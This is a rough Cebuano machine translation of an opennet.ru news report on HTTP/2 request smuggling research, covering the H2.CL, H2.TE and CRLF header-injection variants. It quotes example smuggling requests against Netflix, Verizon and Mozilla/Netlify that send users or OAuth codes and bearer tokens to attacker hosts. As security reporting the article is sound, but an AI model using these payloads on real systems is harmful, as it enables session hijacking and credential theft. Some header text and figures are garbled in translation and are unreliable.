Usa ka bag-ong pag-atake sa mga sistema sa front-end-backend nga nagtugot kanimo sa pag-wedge sa mga hangyo

Ang mga sistema sa web diin ang frontend modawat sa mga koneksyon pinaagi sa HTTP/2 ug ipadala ngadto sa backend pinaagi sa HTTP/1.1 naladlad sa usa ka bag-ong variant sa HTTP Request Smuggling attack, nga nagtugot, pinaagi sa pagpadala sa espesyal nga gidisenyo nga mga hangyo sa kliyente, sa pagsal-ot sa sulod. sa mga hangyo gikan sa ubang mga tiggamit nga giproseso sa samang dagan tali sa frontend ug backend. Ang pag-atake mahimong gamiton sa pagsal-ot sa malisyosong JavaScript code ngadto sa sesyon nga adunay lehitimong site, bypass access control systems, ug intercept authentication parameters.

Ang problema makaapekto sa web proxies, load balancers, web accelerators, content delivery systems ug uban pang configurations diin ang mga request gi-redirect sumala sa front-end-backend scheme. Gipakita sa tagsulat sa pagtuon ang abilidad sa pag-atake sa mga sistema sa Netflix, Verizon, Bitbucket, Netlify CDN ug Atlassian, ug nakadawat og $56 sa mga programa sa vulnerability bounty. Ang problema gikumpirma usab sa mga produkto sa F5 Networks. Partially ang isyu nakaapekto sa mod_proxy sa Apache http server (CVE-2021-33193), usa ka pag-ayo ang gipaabut sa bersyon 2.4.49 (gipahibalo sa mga developer ang isyu kaniadtong sayong bahin sa Mayo ug nakadawat 3 ka bulan aron ayohon kini). Sa nginx, ang abilidad sa pagtino sa "Content-Length" ug "Transfer-Encoding" nga mga header sa samang higayon gibabagan sa katapusang pagpagawas (1.21.1). Ang mga himan sa pag-atake gidugang na sa toolkit sa Burp ug magamit isip usa ka extension sa Turbo Intruder.

Ang prinsipyo sa operasyon sa bag-ong pamaagi sa pag-wedging sa mga hangyo ngadto sa trapiko susama sa kahuyang nga giila sa samang tigdukiduki duha ka tuig na ang milabay, apan limitado sa mga frontend nga modawat sa mga hangyo pinaagi sa HTTP/1.1. Hinumdomi nga sa laraw sa frontend-backend, ang mga hangyo sa kliyente madawat sa usa ka dugang nga node - ang frontend, nga nagtukod og dugay na nga koneksyon sa TCP sa backend nga direktang nagproseso sa mga hangyo. Pinaagi niining komon nga koneksyon, ang mga hangyo gikan sa lain-laing mga tiggamit kasagaran gipasa, nga nagsunod sa kadena sa usag usa, gibulag pinaagi sa HTTP protocol.

Ang klasiko nga "HTTP Request Smuggling" nga pag-atake gibase sa kamatuoran nga ang mga frontend ug backend naghubad sa paggamit sa HTTP header nga "Content-Length" (nagtino sa kinatibuk-ang gidak-on sa data sa hangyo) ug "Transfer-Encoding: chunked" ( nagtugot sa pagbalhin sa datos sa mga bahin) nga lahi . Pananglitan, kung ang frontend nagsuporta lamang sa "Content-Length" apan wala magtagad sa "Transfer-Encoding: chunked", nan ang tig-atake mahimong magpadala og hangyo nga ang duha adunay sulod nga "Content-Length" ug "Transfer-Encoding: chunked" nga mga header, apan ang gidak-on mao ang "Content-Length" dili motakdo sa gidak-on sa giputol nga kadena. Niini nga kaso, ang frontend magproseso ug mag-redirect sa hangyo sumala sa "Content-Length", ug ang backend maghulat nga makompleto ang block base sa "Transfer-Encoding: chunked" ug ang nahabilin nga ikog sa hangyo sa tig-atake mao ang sa sinugdanan sa langyaw nga hangyo gipadala sunod.

Dili sama sa text protocol nga HTTP/1.1, nga gi-parse sa line level, ang HTTP/2 kay binary protocol ug nagmaniobra sa mga data block sa gitino nang daan nga gidak-on. Apan, ang HTTP/2 naggamit ug pseudo-header nga katumbas sa regular nga HTTP header. Kung nakig-interact sa backend pinaagi sa HTTP/1.1, gihubad sa frontend kining mga pseudo-header ngadto sa susamang HTTP/1.1 HTTP header. Ang problema mao nga ang backend naghimo og mga desisyon mahitungod sa pag-parse sa sapa base sa mga header sa HTTP nga gitakda sa frontend, nga wala mahibalo sa mga parameter sa orihinal nga hangyo.

Lakip sa porma sa mga pseudo-header, ang mga kantidad nga "gitas-on sa sulud" ug "pagbalhin-encode" mahimong mapasa, bisan pa sa kamatuoran nga wala kini gigamit sa HTTP / 2, tungod kay ang gidak-on sa tanan nga datos gitino sa usa ka bulag nga uma. Apan, sa proseso sa pag-convert sa usa ka HTTP/2 nga hangyo ngadto sa HTTP/1.1, kini nga mga ulohan madala ug makalibog sa backend. Adunay duha ka nag-unang mga kapilian sa pag-atake: H2.TE ug H2.CL, diin ang backend gipahisalaag sa usa ka sayop nga pagbalhin-encoding o content-gitas-on nga bili nga dili katumbas sa tinuod nga gidak-on sa request nga lawas nga nadawat sa frontend pinaagi sa HTTP / 2 nga protocol.

Usa ka bag-ong pag-atake sa mga sistema sa front-end-backend nga nagtugot kanimo sa pag-wedge sa mga hangyo

Isip usa ka pananglitan sa usa ka H2.CL nga pag-atake, ang content-length pseudo-header kay malformed sa dihang nagpadala ug HTTP/2 request sa Netflix. Kini nga hangyo nagresulta sa pagdugang sa usa ka susama nga Content-Length HTTP header sa dihang nag-access sa backend pinaagi sa HTTP/1.1, apan tungod kay ang gidak-on sa Content-Length mas ubos kay sa aktuwal nga gidak-on, ang pipila sa mga datos sa ikog giproseso isip sinugdanan. sa sunod nga hangyo.

Pananglitan, usa ka HTTP/2 nga hangyo :pamaagi POST :path /n :awtoridad www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Magpadala ug hangyo sa backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Tungod kay ang Content-Length gibutang sa 4, ang backend modawat lamang sa "abcd" isip hangyo nga lawas, ug iproseso ang uban nga "GET / n HTTP / 1.1..." isip sinugdanan sa sunod nga hangyo nga gigapos sa laing user. Tungod niini, ang sapa dili ma-sync, ug isip tubag sa sunod nga hangyo, ang resulta sa pagproseso sa peke nga hangyo ibalik. Sa kaso sa Netflix, ang pagpiho sa usa ka ikatulo nga partido nga host sa "Host:" header sa usa ka spoofed nga hangyo miresulta sa tubag nga "Lokasyon: https://02.rs?x.netflix.com/n" sa kliyente ug gitugotan ang arbitraryong sulod nga ipasa ngadto sa kliyente, lakip ang pagpatuman sa imong JavaScript code sa konteksto sa Netflix site.

Ang ikaduhang variant sa pag-atake (H2.TE) nalangkit sa pag-ilis sa "Transfer-Encoding: chunked" header. Ang paggamit sa transfer-encoding pseudo-header sa HTTP/2 gidili sa espesipikasyon ug ang mga hangyo uban niini gireseta nga isipon nga dili husto. Bisan pa niini, ang pipila ka mga pagpatuman sa frontend wala magtagad niini nga kinahanglanon ug nagtugot sa paggamit sa transfer-encoding pseudo-header sa HTTP/2, nga gihubad ngadto sa susama nga HTTP header. Kung ang "Transfer-Encoding" nga header anaa, ang backend mahimong mag-una niini ug mag-parse sa data sa mga bahin sa "chunked" mode gamit ang mga bloke nga lainlain ang gidak-on sa format nga "{size}\r\n{block} \r\n{size} \r\n{block}\r\n0" bisan pa sa inisyal nga dibisyon sa kinatibuk-ang gidak-on.

Ang presensya sa ingon nga gintang gipakita sa panig-ingnan sa Verizon. Bisan pa, ang problema may kalabotan sa portal sa pag-authenticate ug sistema sa pagdumala sa sulud, nga gigamit usab sa mga site sama sa Huffington Post ug Engadget. Pananglitan, ang hangyo sa kliyente sa HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Tungod sa HTTP/1.1 nga hangyo sa pag-backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=

Ang backend, sa baylo, wala magtagad sa "Content-Length" nga ulohan ug gihimo ang pagbahin sa sapa base sa "Transfer-Encoding: chunked". Sa praktis, ang pag-atake nagpaposible sa pag-redirect sa mga hangyo sa user ngadto sa imong site, lakip ang pag-intercept sa mga hangyo nga may kalabutan sa OAuth authentication, ang mga parameter niini makita sa Referer header, ingon man ang pag-simulate sa usa ka authentication session ug pagsugod sa pagpadala sa mga kredensyal sa user. sistema sa host sa tig-atake. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Aron atakehon ang HTTP/2 nga mga implementasyon nga wala magtugot sa pagtino sa transfer-encoding pseudo-header, laing pamaagi ang gisugyot nga naglakip sa pag-ilis sa "Transfer-Encoding" nga header pinaagi sa pag-attach niini sa ubang mga pseudo-header nga gibulag sa usa ka newline nga karakter (kon nakabig sa HTTP/1.1 niini nga kaso, duha ka separadong HTTP header ang gihimo).

Pananglitan, ang Atlassian Jira ug Netlify CDN (nga gigamit sa pag-alagad sa Mozilla start page sa Firefox) naapektuhan niini nga problema. Sa partikular, ang HTTP/2 request :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=

hinungdan sa HTTP/1.1 POST / HTTP/1.1 nga hangyo nga ipadala sa backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- GET: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \ r\nx=

Ang laing kapilian sa pag-ilis sa "Transfer-Encoding" nga header mao ang pag-attach niini sa ngalan sa laing pseudo-header o sa usa ka string nga adunay pamaagi sa paghangyo. Pananglitan, sa pag-access sa Atlassian Jira, ang ngalan sa pseudo-header nga "foo: bar\r\ntransfer-encoding" nga adunay kantidad nga "chunked" miresulta sa pagdugang sa HTTP header "foo: bar" ug "transfer-encoding : chunked", ug pagpiho sa pseudo-header ": method" sa value nga "GET / HTTP/1.1\r\nTransfer-encoding: chunked" gihubad ngadto sa "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

Ang tigdukiduki nga nag-ila sa problema nagsugyot usab og usa ka teknik sa paghangyo sa tunneling sa pag-atake sa mga frontends, diin ang usa ka bulag nga koneksyon sa backend gitukod alang sa matag IP address ug ang trapiko sa lainlaing mga tiggamit wala magkasagol. Ang gisugyot nga teknik wala magtugot kanimo nga mangilabot sa mga hangyo sa ubang mga tiggamit, apan kini nagpaposible sa paghilo sa gipaambit nga cache, nga makaapekto sa pagproseso sa ubang mga hangyo, ug nagtugot kanimo sa paghimo sa pag-ilis sa mga internal nga HTTP header nga gigamit sa pagbalhin sa impormasyon sa serbisyo gikan sa ang frontend ngadto sa backend (pananglitan, kung ang pag-authenticate sa frontend nga bahin sa maong mga header makapadala og impormasyon mahitungod sa kasamtangan nga user ngadto sa backend). Ingon usa ka pananglitan sa paggamit sa pamaagi sa praktis, gamit ang pagkahilo sa cache, posible nga makontrol ang mga panid sa serbisyo sa Bitbucket.

Source: opennet.ru

Idugang sa usa ka comment